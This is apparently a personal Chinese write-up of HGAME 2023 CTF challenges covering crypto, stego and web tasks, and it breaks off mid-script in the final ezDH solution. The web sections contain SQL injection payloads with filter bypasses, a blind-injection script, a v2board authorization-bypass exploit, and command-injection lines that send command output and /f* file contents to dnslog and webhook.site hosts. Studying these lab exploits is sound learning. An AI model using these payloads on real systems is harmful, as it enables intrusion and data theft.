HGAME

Last updated on September 27, 2024 am

Week 1

Sign In

签到题

1
2
3
4
import base64
flag="aGdhbWV7V2VsY29tZV9Ub19IR0FNRTIwMjMhfQ=="
print(base64.b64decode(flag))
#b'hgame{Welcome_To_HGAME2023!}'

Classic Childhood Game

打开题目是个游戏,先随便玩玩

这种题就是前端JS,玩腻了直接看源码

在文件./Res/Events.js拉到最下面有一个变量a是unicode编码

\x59\x55\x64\x6b\x61\x47\x4a\x58\x56\x6a\x64\x61\x62\x46\x5a\x31\x59\x6d\x35\x73\x53\x31\x6c\x59\x57\x6d\x68\x6a\x4d\x6b\x35\x35\x59\x56\x68\x43\x4d\x45\x70\x72\x57\x6a\x46\x69\x62\x54\x55\x31\x56\x46\x52\x43\x4d\x46\x6c\x56\x59\x7a\x42\x69\x56\x31\x59\x35

直接到Python解码

Become A Member

考察HTTP请求头

1
2
3
4
5
1.请先提供一下身份证明(Cute-Bunny)哦    							User-Agent:Cute-Bunny
2.每一个能够成为会员的顾客们都应该持有名为Vidar的邀请码(code) Cookie:code=Vidar
3.由于特殊原因,我们只接收来自于bunnybunnybunny.com的会员资格申请 referer:bunnybunnybunny.com
4.就差最后一个本地的请求,就能拿到会员账号啦 X-forwarded-for:127.0.0.1
5.username:luckytoday password:happy123(请以json请求方式登陆){"username":"luckytoday","password":"happy123"}

Guess Who I Am

这个题是要写脚本回答100个问题

查看页面源码给了hint: https://github.com/Potat0000/Vidar-Website/blob/master/src/scripts/config/member.js

访问得到答案库

把答案考到本地

接着写Python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import requests

url = "http://week-1.hgame.lwsec.cn:32380"
url1 = "http://week-1.hgame.lwsec.cn:32380/api/getQuestion"
url2 = "http://week-1.hgame.lwsec.cn:32380/api/getScore"
Cookie="session=MTY3MjkzNzc4MHxEdi1CQkFFQ180SUFBUkFCRUFBQVBQLUNBQUlHYzNSeWFXNW5EQWdBQm5OdmJIWmxaQU5wYm5RRUFnQUVCbk4wY21sdVp3d05BQXRqYUdGc2JHVnVaMlZKWkFOcGJuUUVBd0Rfb2c9PXyjkMJVTSpoY_gUdzTPAsOafTVVHnJtDE4aemtvw51VCw=="
# resp = requests.get(url)
for i in range(110):
resp1 = requests.get(url1,headers={"Cookie":Cookie})
resp2 = requests.get(url2,headers={"Cookie":Cookie})
text1 = resp1.text
text1 = text1[text1.index(":") + 1:-1]
if '00' in text1:
text1=text1[text1.index('\\')+5:] #爬下来特殊字符都是unicode编码,去掉这些编码符,后面匹配就行
text2 = resp2.text
text2 = text2[text2.index(":") + 1:-1]
# print(text1)
# print(text2)

with open('2.js', mode='r', encoding='utf-8') as f:
line0 = f.readline()
while True:
line1 = f.readline()
if line1:
if text1 in line1:
answer = line0[line0.index(":") + 3:-3]
# print(answer)
break
else:
line0 = line1
else:
break
data={
"id":answer
}
# print(data)
r = requests.post(url=url+'/api/verifyAnswer',data=data,headers={"Cookie": Cookie})
try:
Cookie=r.headers['set-cookie'] #有时访问后没有返回cookie会报错
except KeyError:
continue
# print(Cookie)
print(r.text)
resp2 = requests.get(url2, headers={"Cookie": Cookie})
text2 = resp2.text
text2 = text2[text2.index(":") + 1:-1]
print(text2)

回答100次后得到flag:hgame{Guess_who_i_am^Happy_Crawler}

Show Me Your Beauty

这是一道文件上传

查看页面源码,发现做了前端过滤,不过前端过滤相当于没有过滤

传个码上去,先用后缀.jpg,再抓包改,发现后端也过滤了,这里可以大写绕过

蚁剑连接拿flag

RSA

拿到附件,源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from Crypto.Util.number import *

flag = open('flag.txt', 'rb').read()

p = getPrime(512)
q = getPrime(512)
n=p*q
e = 65537
m = bytes_to_long(flag)
c = pow(m, e, n)
print(f"c={c}")
print(f"n={n}")

"""
c=110674792674017748243232351185896019660434718342001686906527789876264976328686134101972125493938434992787002915562500475480693297360867681000092725583284616353543422388489208114545007138606543678040798651836027433383282177081034151589935024292017207209056829250152219183518400364871109559825679273502274955582
n=135127138348299757374196447062640858416920350098320099993115949719051354213545596643216739555453946196078110834726375475981791223069451364024181952818056802089567064926510294124594174478123216516600368334763849206942942824711531334239106807454086389211139153023662266125937481669520771879355089997671125020789
"""

常规RSA题

在线网站大整数分解n得到p,q

1
2
3
4
5
6
7
8
9
10
import libnum
c=110674792674017748243232351185896019660434718342001686906527789876264976328686134101972125493938434992787002915562500475480693297360867681000092725583284616353543422388489208114545007138606543678040798651836027433383282177081034151589935024292017207209056829250152219183518400364871109559825679273502274955582
n=135127138348299757374196447062640858416920350098320099993115949719051354213545596643216739555453946196078110834726375475981791223069451364024181952818056802089567064926510294124594174478123216516600368334763849206942942824711531334239106807454086389211139153023662266125937481669520771879355089997671125020789
p=12022912661420941592569751731802639375088427463430162252113082619617837010913002515450223656942836378041122163833359097910935638423464006252814266959128953
q=11239134987804993586763559028187245057652550219515201768644770733869088185320740938450178816138394844329723311433549899499795775655921261664087997097294813
e = 65537

d = libnum.invmod(e, (p-1)*(q-1))
m = pow(c, d, n)
print(libnum.n2s(m))

Be Stream

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from flag import flag
assert type(flag) == bytes

key = [int.from_bytes(b"Be water", 'big'), int.from_bytes(b"my friend", 'big')]

def stream(i):
if i==0:
return key[0]
elif i==1:
return key[1]
else:
return (stream(i-2)*7 + stream(i-1)*4)

enc = b""
for i in range(len(flag)):
water = stream((i//2)**6) % 256
enc += bytes([water ^ flag[i]])

print(enc)
# b'\x1a\x15\x05\t\x17\t\xf5\xa2-\x06\xec\xed\x01-\xc7\xcc2\x1eXA\x1c\x157[\x06\x13/!-\x0b\xd4\x91-\x06\x8b\xd4-\x1e+*\x15-pm\x1f\x17\x1bY'

循环加递归,重复太多,直接按这种写法是跑步出来的

修改成迭代,每次先mod256

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
key = [int.from_bytes(b"Be water", 'big'), int.from_bytes(b"my friend", 'big')]


def stream():
stream = ['' for i in range((48 // 2) ** 6)]
stream[0] = key[0]
stream[1] = key[1]
for i in range(2, 24 ** 6):
stream[i] = (stream[i - 2] * 7 + stream[i - 1] * 4) % 256
return stream


flag = ''
enc = b'\x1a\x15\x05\t\x17\t\xf5\xa2-\x06\xec\xed\x01-\xc7\xcc2\x1eXA\x1c\x157[\x06\x13/!-\x0b\xd4\x91-\x06\x8b\xd4-\x1e+*\x15-pm\x1f\x17\x1bY'
s = stream()
for i in range(48):
water = s[(i // 2) ** 6] % 256
#print(water)
flag += chr(water ^ enc[i])

print(flag)

神秘的电话

附件是一个morse音频和一个加密密文

加密密文为

1
5Yeg5Liq5pif5pyf5YmN77yM5oiR5Lus5pS25Yiw5LiA5Liq56We56eY55qE5raI5oGv44CC5L2G5piv6L+Z5Liq5raI5oGv6KKr6YeN6YeN5Yqg5a+G77yM5oiR5Lus5LiN55+l6YGT5a6D55qE55yf5q2j5ZCr5LmJ5piv5LuA5LmI44CC5ZSv5LiA55+l6YGT55qE5L+h5oGv5piv5YWz5LqO5a+G6ZKl55qE77ya4oCc5Y+q5pyJ5YCS552A57+76L+H5Y2B5YWr5bGC55qE56+x56yG5omN6IO95oq16L6+5YyX5qyn56We6K+d55qE57uI54K54oCd44CC
1
2
3
4
5
6
import base64
a="5Yeg5Liq5pif5pyf5YmN77yM5oiR5Lus5pS25Yiw5LiA5Liq56We56eY55qE5raI5oGv44CC5L2G5piv6L+Z5Liq5raI5oGv6KKr6YeN6YeN5Yqg5a+G77yM5oiR5Lus5LiN55+l6YGT5a6D55qE55yf5q2j5ZCr5LmJ5piv5LuA5LmI44CC5ZSv5LiA55+l6YGT55qE5L+h5oGv5piv5YWz5LqO5a+G6ZKl55qE77ya4oCc5Y+q5pyJ5YCS552A57+76L+H5Y2B5YWr5bGC55qE56+x56yG5omN6IO95oq16L6+5YyX5qyn56We6K+d55qE57uI54K54oCd44CC"
a=base64.b64decode(a)
print(a.decode('utf-8'))

#几个星期前,我们收到一个神秘的消息。但是这个消息被重重加密,我们不知道它的真正含义是什么。唯一知道的信息是关于密钥的:“只有倒着翻过十八层的篱笆才能抵达北欧神话的终点”。

音频用Au打开,手动翻译morse密文

-----/..---/..---/...--/./..--.-/.--./.-./../../-.../.-../-.--/..--.-/..--.-/..../---/-./.--/.-/..--.-/.---/--/--./..../..--.-/..-./--./-.-/-.-./--.-/.-/---/--.-/-/--/..-./.-.

在线解码 并转小写0223e_priibly__honwa_jmgh_fgkcqaoqtmfr

“倒着翻过十八层篱笆”应该是栅栏加密,但是搞不出来😭~~~

wp出来啦,继续补充一下

没想到“北欧神话”对应维吉尼亚密码…

“逆序”->“18层栅栏解密”->“密钥为vidar的维吉尼亚解密”

hgame{welcome_to_hgame2023_and_enjoy_hacking}

兔兔的车票

由于没有看到题目的注解注:flag.png已经提前保存在source文件夹下,并且命名为picture{x}.png

导致没有思路,官方wp已经出了还是记录一下加深理解

题⽬的流程是先随机⽣成3张噪声图⽚作为nonce,然后把flag.png和picture{xx}.png打乱再与nonce

进⾏XOR。因为只有三张nonce,⽽picture有15张,所以⼤概率有picture跟flag.png重⽤了同⼀张

nonce。就可以⽤这两张加密图⽚进⾏XOR,得到

flag.pngpicturex.png

原题代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from PIL import Image
from Crypto.Util.number import *
from random import shuffle, randint, getrandbits

flagImg = Image.open('flag.png')
width = flagImg.width #379
height = flagImg.height #234

def makeSourceImg():
colors = long_to_bytes(getrandbits(width * height * 24))[::-1]
img = Image.new('RGB', (width, height))
x = 0
for i in range(height):
for j in range(width):
img.putpixel((j, i), (colors[x], colors[x + 1], colors[x + 2]))
x += 3
return img

def xorImg(keyImg, sourceImg):
img = Image.new('RGB', (width, height))
for i in range(height):
for j in range(width):
p1, p2 = keyImg.getpixel((j, i)), sourceImg.getpixel((j, i))
img.putpixel((j, i), tuple([(p1[k] ^ p2[k]) for k in range(3)]))
return img

n1 = makeSourceImg()
n2 = makeSourceImg()
n3 = makeSourceImg()
nonce = [n1, n2, n3]

index = list(range(16))
shuffle(index)
e=0
for i in index:
im = Image.open(f"source/picture{i}.png")
key = nonce[randint(0, 2)]
encImg = xorImg(key, im)
encImg.save(f'pics/enc{e}.png')
e+=1

只有16张图片,直接爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from PIL import Image
width=379 #宽度和高度查看图片属性可知
height=234

def xorImg(keyImg, sourceImg):
img = Image.new('RGB', (width, height))
for i in range(height):
for j in range(width):
p1, p2 = keyImg.getpixel((j, i)), sourceImg.getpixel((j, i))
img.putpixel((j, i), tuple([(p1[k] ^ p2[k]) for k in range(3)]))
return img
for j in range(16):
key = Image.open(f"pics/enc{j}.png")
for i in range(16):
encimg=Image.open(f"pics/enc{i}.png")

im=xorImg(key,encimg)
im.save(f"source/picture{j}.{i}.png")

test your IDA

查一下64位,IDA打开看到flag

e99p1ant_want_girlfriend

拿到一张图片,看起来那个人下面好像少了一点,直接修改长度

神秘的海报

附件是一张HGAME比赛的海报

用Stegsolve打开,尝试LSB隐写

整段话提取出来是

1
Sure enough, you still remember  what we  talked a bout at  that time! This  is part  of the secret: ` hgame{U_ Kn0w_LSB&W`.I put the rest of th e content here,  https://drive.google.com/file/d/13kBos3Ixlfwkf3e0z0kJTEqBxm7RUk-G/view?usp=sharing, if you directly access the g oogle drive cloud disk download  in China, it will be very slow,  you can try to u se Scientific Internet access solves the problem of slow or inaccessible access  to external network resources. This is my favorite music, there  is another part  of the secret in  the music, I use Steghide to encrypt, the password is also the  6-digit password  we agreed at the time, even if  someone else finds out here, it  should not be so  easy to

这里给了一半的flag,另一半要访问网站https://drive.google.com/file/d/13kBos3Ixlfwkf3e0z0kJTEqBxm7RUk-G/view?usp=sharing ,下载音频(要有梯子,不然下不来)

里面说了用Steghide加密的,直接上网搜一下Steghide的用法https://www.jianshu.com/p/c3679f805a0c

1
2
3
sudo apt install steghide   #安装
steghide info Bossanova.wav #查看隐藏的文件
steghide extract -sf Bossanova.wav #提取隐藏的文件

得到flag2.txt 恭喜你解到这里,剩下的Flag是 av^Mp3_Stego},我们Week2见!

hgame{U_ Kn0w_LSB&Wav^Mp3_Stego}

Where am I

给了一个流量包

因为图片是上传到网盘,所以导出HTTP对象,得到两个文件,一个里面只写了upload successful

另一个则有含有压缩包,binwalk -e file 分离,用winhex打开,把头尾多余的文字删除

打开发现文件头错误,应该是伪加密

将24修改为20

解压得到图片,linux下用exfitool查看信息

hgame{116_24_1488E_39_54_5418N}

test_nc

直接nc week-1.hgame.lwsec.cn 31750

1
2
3
4
5
6
7
8
9
10
ls
#bin
#dev
#flag
#lib
#lib32
#lib64
#vuln
cat flag
#hgame{1b32ad7a265058ea9f2ccc866b97085bb10c4f14}

Week 2

Git Leakage

题目直接说了是Git 泄露

那就直接python3 Githack.py http://week-2.hgame.lwsec.cn:32140/.git

得到文件Th1s_1s-flag

hgame{Don't^put*Git-in_web_directory}

v2board

需要越权获得admin的权限,查看admin订阅的token

先随便注册个邮箱进去看看,都没有什么有用的信息

猜测是v2board的漏洞,查看源码知道是1.6.1版本的

上网搜v2board越权访问漏洞

这里的漏洞是

1
2
鉴权方式变为从Redis中获取缓存判定是否存在可以调用接口,导致任意用户都可以调用管理员权限的接口获取后台权限
Admin.php 文件中只验证了 authrization 是否在 Redis的缓存中,所以当注册任意一个用户进行登陆后获取到 auth_data 就可以任意调用 管理员的接口

先随意注册一个邮箱

1
2
email:admin@qq.com
password:admin@qq.com

登录后会返回一个auth_data字段YWRtaW4xMjNAcXEuY29tOiQyeSQxMCQ4aU1wd2pPZWx2aUlMQS8yVE9SWHhPSEc3TDVaUkJjWWpvdnJZS2ZvNDdmM012cHR3eUplMg==

然后访问/api/v1/admin/user/fetch ,并在请求头加上authorization:YWRtaW4xMjNAcXEuY29tOiQyeSQxMCQ4aU1wd2pPZWx2aUlMQS8yVE9SWHhPSEc3TDVaUkJjWWpvdnJZS2ZvNDdmM012cHR3eUplMg==,

访问得到

可以发现有一个admin@example.com不是我们注册的,那就是admin了,订阅链接的token=39d580e71705f6abac9a414def74c466

Search Commodity

弱密码爆破admin123

接下来就是sql注入

1
2
3
4
5
1/*/**/*/oorrder/*/**/*/by/*/**/*/3%23		
0/*/**/*/ununionion/*/**/*/seselectlect/*/**/*/1,datadatabasebase(),3%23 se4rch
0/*/**/*/ununionion/*/**/*/seselectlect/*/**/*/1,(seselectlect/*/**/*/group_concat(table_name)frfromom/*/**/*/infoorrmation_schema.tables/*/**/*/whwhereere/*/**/*/table_schema/*/**/*/like/*/**/*/'se4rch'),3%23 5ecret15here,L1st,user1nf0
0/*/**/*/ununionion/*/**/*/seselectlect/*/**/*/1,(seselectlect/*/**/*/group_concat(column_name)frfromom/*/**/*/infoorrmation_schema.columns/*/**/*/whwhereere/*/**/*/table_name/*/**/*/like/*/**/*/'5ecret15here'),3%23 f14gggg1shere
0/*/**/*/ununionion/*/**/*/seselectlect/*/**/*/1,(seselectlect/*/**/*/group_concat(f14gggg1shere)frfromom/*/**/*/5ecret15here),3%23 hgame{4_M4n_WH0_Kn0ws_We4k-P4ssW0rd_And_SQL!}

Rabin

Rabin加密方案:
选择两个大素数p和q做为私钥

计算n = p * q做为公钥

若明文为m,则密文为cm2(modn)c ≡ m^{2}(mod n)

实际做题中,加密指数e不仅限于2,所有和n不互素的都有可能

加密算法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from Crypto.Util.number import *

def gen_key(kbits):
while True:
p = getPrime(kbits)
q = getPrime(kbits)
if p % 4 == 3 and q % 4== 3:
break
return p, q

p ,q = gen_key(256)
flag = open("flag", 'rb').read()
pt = bytes_to_long(flag)
c = pow(pt, 2, p*q)

print(f"p={p}\nq={q}")
print(f"c={hex(c)[2:]}")

"""
p=65428327184555679690730137432886407240184329534772421373193521144693375074983
q=98570810268705084987524975482323456006480531917292601799256241458681800554123
c=4e072f435cbffbd3520a283b3944ac988b98fb19e723d1bd02ad7e58d9f01b26d622edea5ee538b2f603d5bf785b0427de27ad5c76c656dbd9435d3a4a7cf556
"""

使用sagemath求解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
p =65428327184555679690730137432886407240184329534772421373193521144693375074983
q =98570810268705084987524975482323456006480531917292601799256241458681800554123
c =0x4e072f435cbffbd3520a283b3944ac988b98fb19e723d1bd02ad7e58d9f01b26d622edea5ee538b2f603d5bf785b0427de27ad5c76c656dbd9435d3a4a7cf556
e = 2
R.<x> = Zmod(p)[] #将x作为需要求得的未知数,p为素数
f = x^e-c
r1 = [int(i[0]) for i in f.roots()] #f.roots()返回求解出来的所有解的列表
R.<x> = Zmod(q)[]
f = x^e-c
r2 = [int(i[0]) for i in f.roots()]
m = []
for i in r1:
for j in r2:
m.append(crt([i,j],[p,q])) #crt求解中国剩余定理,第一个参数为余数列表,第二个参数为模数列表
print(m) #将所有可能的m输出,复制到python里long_to_bytes()

到Python中

1
2
3
4
from Crypto.Util.number import *
flag=[2372237455851842898349117425227584430588749791480564189568122389688124352290664541063989455711371754963358673223097609351443007448201859216160320647129068, 202822073494981439416400155064048668390596366869305553433016288033759387909443994349181, 6449323225107597053933443750923454260964062647115639999185223478236408615216462580775151285384372189740266233875418656692511620093103204244355042080455728, 4077085769255754155584326325695869830375312855635075809617101088548487084999293021150578229828064483445298157019190352894501628932935104416104165427675841]
for i in flag:
print(long_to_bytes(i))

hgame{That'5_s0_3asy_to_s@lve_r@bin}

RSA 大冒险1

4关挑战,通过拿flag

直接上解题代码

challenge 1

1
2
3
4
5
6
7
8
9
10
11
import libnum
c=0x56908e6a818ea207ac312c0b204d94ee651cd7b26313fbfdcfb2406828ad379fa12529cf3db2a4d903
n=209770295744242916299788862153266483138979976716588739416239543100484342323180172904935777216735461
p=333053352923682535111489833655011123013
e = 65537

d = libnum.invmod(e, (p-1))
m = pow(c, d, p)
print(libnum.n2s(m))

#m<n_But_also_m<p

challenge 2

1
2
3
4
5
6
7
8
9
10
11
12
13
import libnum
import math

c1 = 0xa757143e3ea0753ac3c15e0dd05bc6eb58bdf947203c321417fb2739a9072ee5969b7ae017bb68c46969ceddccb0b3e8e27f0b79ba011065e9e0c0d6ec04c7735bc7d2d3d55119f3852c78264c40c9b36fffbc8741515d6d43f4aeba50186ceb45952617d8f4d15e0c0e84397d58aad6b9d8df15adc1f29c4c37addfb6f901d
c2 = 0xca21ea2228e901614120f89036e62c36f385343c9b15a43c47d23097bb6eb6df4cc6aac315f283b35bf3e00612fea7ee2711248615c10b61475e96f57a94ecfb49b1b60495353c6232510e995251c6a3744193f0e3c10bc1cb9f8bbab19b7cd2a67fab178ca7fe6263aa22c460b0b51af14c9dc2adbe6aa9539e05b214dc1bf
n1 = 99117167225742621252747360705927288427226074291111147359767727530232979959246961303002594953502494314944737381744946594792258965951764387793904602632138990093085873703735789929744541078195532792040220263365256453293757661668916687151993893223835585293806890903078811527485480385874789904018025085480072921947
n2 = 90708232882117493164546448126493812176926972474525609918179199222944319390160880291246879414964890005116911514705462257621255399480873008530781044973928567730151038933999620333681189161328502592514982955942546631546678204758589280772127887941509353870320299744541746637191024740549289281821158392283041483783
p = math.gcd(n1, n2)
e = 65537
d = libnum.invmod(e, (p - 1))
m = pow(c1, d, p)
print(libnum.n2s(m))
#make_all_modulus_independent

challenge 3

1
2
3
4
5
6
7
8
9
10
11
12
import gmpy2
n = 114515838473805006712847594704380677940280499969617865451903741803970304896753055873744402239365107537263730326351655179037631201887020732179784578687179230556396662015803684388855028443206818232761239630564571111262306517782298740762072717669765284942698987218518593869320732633953301487410854175666320988421
e = 3
c = 0xfec61958cefda3eb5f709faa0282bffaded0a323fe1ef370e05ed3744a2e53b55bdd43e9594427c35514505f26e4691ba86c6dcff6d29d69110b15b9f84b0d8eb9ea7c03aaf24fa957314b89febf46a615f81ec031b12fe725f91af9d269873a69748
for i in range(200000000):
if gmpy2.iroot(c + n * i, 3)[1] == 1:
res = gmpy2.iroot(c + n * i, 3)[0]
print(i, res)
print(libnum.n2s(int(res)))
break

#encrypt_exponent_should_be_bigger

challenge 4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#共模攻击
from gmpy2 import *
import libnum

n = 82359994555957061700863027886322811457676109608256083872064055426219259168794095530809575147825700925031273940545355557102788577532782300265260138429958167909187144110770618006792214374768047428973415244582649583493180328548963991180770977787901825467721537824736537797481709634514539903832239828285924506839
e1 = 108289
e2 = 81013
s = gcdext(e1, e2)
s1 = s[1]
s2 = -s[2]

c1 = 0x64d0825cadb4374aec113fcac2d752bb71d4586a9bb02b6d82f76fda0b642af037447b9cf76f80b1f4066bcf94dd6538b253a02aaa8f956edbd20c2a2f311b1f554ff7f968f124a8472d6d5306d9c96e16b737ee5675061e4de58bc6b5fb7f3cc5f92647c6aba9010b03b2c5d4d28b031d77205bc238b19785783e80e3a9146d
c2 = 0x1eed249f0b99aa87992b59387ec11a0b36022aa475c3917d6a85c36745c5d0e7275c16e9879e2192491783533941b50cd97a0f4f32803df7118288c89f4e22555ca98d0417063dbb81c60e2d1a2e696bcec16660cd396aaf9b5743c1944b28adb33f73f70f3aa5fed5cd2cef0c9920dd54e68b34f40fe31e3662f1d9d484fff3
# e2=9647291
c2 = invert(c2, n)
m = (pow(c1, s1, n) * pow(c2, s2, n)) % n
print(m)
print(libnum.n2s(int(m)))
#never_uese_same_modulus

hgame{W0w_you^knowT^e_CoMm0n_&t$ack_@bout|RSA}

包里有什么

看了官方wp,发现想多了,不需要求长度和w

根据扩展的欧几里得算法直接可以求出w的逆元

1
2
3
4
5
6
7
8
9
10
from Crypto.Util.number import long_to_bytes
from gmpy2 import gcdext
m = 1528637222531038332958694965114330415773896571891017629493424
b0 = 69356606533325456520968776034730214585110536932989313137926
c = 93602062133487361151420753057739397161734651609786598765462162
winv = gcdext(b0, m)[1]
v = c * winv % m >> 1 #乘上w的逆元再除以2
flag = 'hgame{' + long_to_bytes(int(bin(v)[2:][::-1], 2)).decode() + '}'
print(flag)
#hgame{1t's_4n_3asy_ba9_isn7_it?}

Sign In Pro Max

附件如下

1
2
3
4
5
Part1, is seems like baseXX: QVl5Y3BNQjE1ektibnU3SnN6M0tGaQ==	
Part2, a hash function with 128bit digest size and 512bit block size: c629d83ff9804fb62202e90b0945a323
Part3, a hash function with 160bit digest size and 512bit block size: 99f3b3ada2b4675c518ff23cbd9539da05e2f1f8
Part4, the next generation hash function of part3 with 256bit block size and 64 rounds: 1838f8d5b547c012404e53a9d8c76c56399507a2b017058ec7f27428fda5e7db
Ufwy5 nx 0gh0jf61i21h, stb uzy fqq ymj ufwyx ytljymjw, its'y ktwljy ymj ktwrfy.
1
2
3
4
5
Part1是base加密:base32+base58+base64	f51d3a18
Part2,a hash function with 128bit digest size and 512bit block size 是md5 f91c
Part3,a hash function with 160bit digest size and 512bit block size 是sha-1 4952
Part4,the next generation hash function of part3是sha-2256bit block size and 64 rounds是sha-256 a3ed
最后一句是凯撒加密,位移5,Part5 is0bc0ea61d21c, now put all the parts together, don't forget the format

以为flag就是hgame{f51d3a18f91c4952a3ed0bc0ea61d21c}

结果交上去是错的,发现part5后面还有一句don’t forget format,尝试每部分之间加_,发现还是错误,换成-就对了

hgame{f51d3a18-f91c-4952-a3ed-0bc0ea61d21c}

Week 3

Login To Get My Gift

测试一下,只显示Success,Fail,SQL Injection Detected,应该是盲注

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests

url = 'http://week-3.hgame.lwsec.cn:31480/login'
cookie = {'_ga_P1E9Z5LRRK': 'GS1.1.1673534407.1.1.1673534578.0.0.0', '_ga': 'GA1.1.690589002.1673534407'}
flag=''
for i in range(30):
for j in range(32,128):
payload = "0'/**/or/**/ascii(right(left((select/**/concat_ws(0x7e,PAssw0rD)/**/from/**/User1nf0mAt1on/**/limit/**/0,1),{0}),1))/**/regexp/**/{1}#".format(i+1,j)
print(payload)
data = {'username': payload, 'password': 1}
rsp = requests.post(url=url, data=data, cookies=cookie)
#print(rsp.text)
if 'Success!' in rsp.text:
flag+=chr(j)
print(flag)
break

payload:

1
2
3
4
5
6
7
8
9
10
11
12
0'/**/or/**/length((database()))<8/**/#		数据库长度7
0'/**/or/**/ascii(right(left(database(),{0}),1))/**/regexp/**/{1}/**/#.format(i,j) 数据库名L0g1NMe
0'/**/or/**/length(((select/**/concat_ws(0x7e,table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/regexp/**/database()/**/limit/**/0,1)))>1/**/# 只有一个表
0'/**/or/**/length(((select/**/concat_ws(0x7e,table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/regexp/**/database()/**/limit/**/0,1)))<15/**/# 表名长度为14
0'/**/or/**/ascii(right(left((select/**/concat_ws(0x7e,table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/regexp/**/database()/**/limit/**/0,1),{0}),1))/**/regexp/**/{1}#".format(i+1,j) 表名User1nf0mAt1on
0'/**/or/**/length(((select/**/concat_ws(0x7e,column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/regexp/**/'User1nf0mAt1on'/**/limit/**/2,1)))>1/**/# 列数 3列

0'/**/or/**/ascii(right(left((select/**/concat_ws(0x7e,column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/regexp/**/'User1nf0mAt1on'/**/limit/**/0,1),1),1))/**/>/**/100#
第一列长度2 id 第二列长度8 PAssw0rD 第三列长度8 UsErN4me

0'/**/or/**/ascii(right(left((select/**/concat_ws(0x7e,UsErN4me)/**/from/**/User1nf0mAt1on/**/limit/**/0,1),{0}),1))/**/regexp/**/{1}#".format(i+1,j)
1 WeLc0meT0hgAmE2023hAPPySql hgAmE2023HAppYnEwyEAr

拿到管理员的用户名和密码,访问/home得到flag

hgame{It_1s_1n7EresT1nG_T0_ExPL0Re_Var10us_Ways_To_Sql1njEct1on}

Ping To The Host

一看RCE,马上试一下127.0.0.1|ls ,结果无回显。。。。

试了几个无回显RCE,发现DNS带外和http带外可以用,不过还是有点小坑

payload1:DNS带外

DNSLog注册一个临时的DNS

1
2
127.0.0.1|ping$IFS$9`whoami`.7n17xh.dnslog.cn
127.0.0.1|ping$IFS$9`head$IFS$9/f*`.7n17xh.dnslog.cn

payload2:http带外

webhook生成一个临时网站来接受请求查看回显

1
2
127.0.0.1|curl$IFS$9https://webhook.site/318355c4-be7a-4a93-8241-53a6028f7070/`whoami`
127.0.0.1|curl$IFS$9https://webhook.site/318355c4-be7a-4a93-8241-53a6028f7070/`head$IFS$9/f*`

Gopher Shop

这道是没有做出来的题,看了wp,学习一下

随便注册一个账户进去商店

1
2
3
4
5
//校验是否买的起
if err != nil || number < 1 || user.Balance < uint(number) * price{
context.JSON(400, gin.H{"error": "invalid request"})
return
}

这里是golang整数溢出漏洞,uint类型在64位机器上运⾏时为uint64,最⼤值为 18446744073709551615 ,最⼩值为 0 ,超出范围都会溢出。

要使uint(number) * price小于等于给定的10元,这样就可以买到超多的Apple,再把Apple买出去就可以用来买flag

1844674407370955162*10=18446744073709551620=4<10,因此可以购买1844674407370955162个Apple

慢慢地把Apple卖出去(数值不能溢出)

再Check Flag一下,hgame{GopherShop_M@gic_1nt_0verflow}

ezDH

这个密码题不知道可以用sage⾥的discrete_log函数来解离散对数问题

discrete_log 就是结合Pohlig-Hellman algorithm和⼤步⼩步法 (bsgs)

可以对数分离就变得简单了

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from sage import *
N = 0x2be227c3c0e997310bc6dad4ccfeec793dca4359aef966217a88a27da31ffbcd6bb271780d8ba89e3cf202904efde03c59fef3e362b12e5af5afe8431cde31888211d72cc1a00f7c92cb6adb17ca909c3b84fcad66ac3be724fbcbe13d83bbd3ad50c41a79fcdf04c251be61c0749ea497e65e408dac4bbcb3148db4ad9ca0aa4ee032f2a4d6e6482093aa7133e5b1800001
g = GF(N)(2)
A = 0x22888b5ac1e2f490c55d0891f39aab63f74ea689aa3da3e8fd32c1cd774f7ca79538833e9348aebfc8eba16e850bbb94c35641c2e7e7e8cb76032ad068a83742dbc0a1ad3f3bef19f8ae6553f39d8771d43e5f2fcb986bd72459456d073e70d5be4d79ce5f10f76edea01492f11b807ebff0faf6819d62a8e972084e1ed5dd6e0152df2b0477a42246bbaa04389abf639833
B = 0x1889c9c65147470fdb3ad3cf305dc3461d1553ee2ce645586cf018624fc7d8e566e04d416e684c0c379d5819734fd4a09d80add1b3310d76f42fcb1e2f5aac6bcdd285589b3c2620342deffb73464209130adbd3a444b253fc648b40f0acec7493adcb3be3ee3d71a00a2b121c65b06769aada82cd1432a6270e84f7350cd61dddc17fe14de54ab436f41b9c9a0430510dde
a=discrete_log(A,g)
b=discrete_log(B,g)
print('Alice secret:',a)
print('Bod secret:',b)
assert pow(B,a,N)==pow(A,b,N)
shared_secret=power_mod(B,a,N)
p=6864797660130609714981900799081393217269435300143305409394463459185543183397656052122559640661454554977296311391480858037121987999716643812574028291115057151
a=-3
b=1093849038073734274511112390766805569936207598951683748994586394495953116150735016013708737573759623248592132296706313309438452531591012912142327488478985984
E = EllipticCurve(GF(p), [a, b])

G=(6205877918333770287323403670543661734129170085954198767820861962261174202646976379181735257759867760655835711845144326470613882395445975482219869828210975915, 3475351956909044812130266914587199895248867449669290021764126870271692995160201860564302206748373950979891071705183465400186006709376501382325624851012261206)
G=E(G)
